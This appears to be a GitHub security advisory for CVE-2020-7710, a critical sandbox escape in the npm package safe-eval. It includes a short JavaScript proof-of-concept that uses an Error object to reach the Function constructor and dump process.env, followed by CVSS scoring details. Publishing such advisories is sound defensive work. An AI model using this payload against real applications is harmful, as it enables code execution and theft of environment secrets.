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Sandbox Breakout / Arbitrary Code Execution in safe-eval

Critical severity GitHub Reviewed Published Aug 25, 2020 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm safe-eval (npm)

Affected versions

<= 0.4.1

Patched versions

None

Description

All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.

Evaluating the payload

(function (){
  var ex = new Error
  ex.__proto__ = null
  ex.stack = {
    match: x => {
      return x.constructor.constructor("throw process.env")()
    }
  }
  return ex
})()

prints the contents of process.env.

Recommendation

No fix is currently available. Consider using an alternative package until a fix is made available.

References

Published by the National Vulnerability Database Aug 21, 2020
Reviewed Aug 25, 2020
Published to the GitHub Advisory Database Aug 25, 2020
Last updated Sep 11, 2023

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.774%
(82nd percentile)

Weaknesses

CVE ID

CVE-2020-7710

GHSA ID

GHSA-hrpq-r399-whgw

Source code

No known source code
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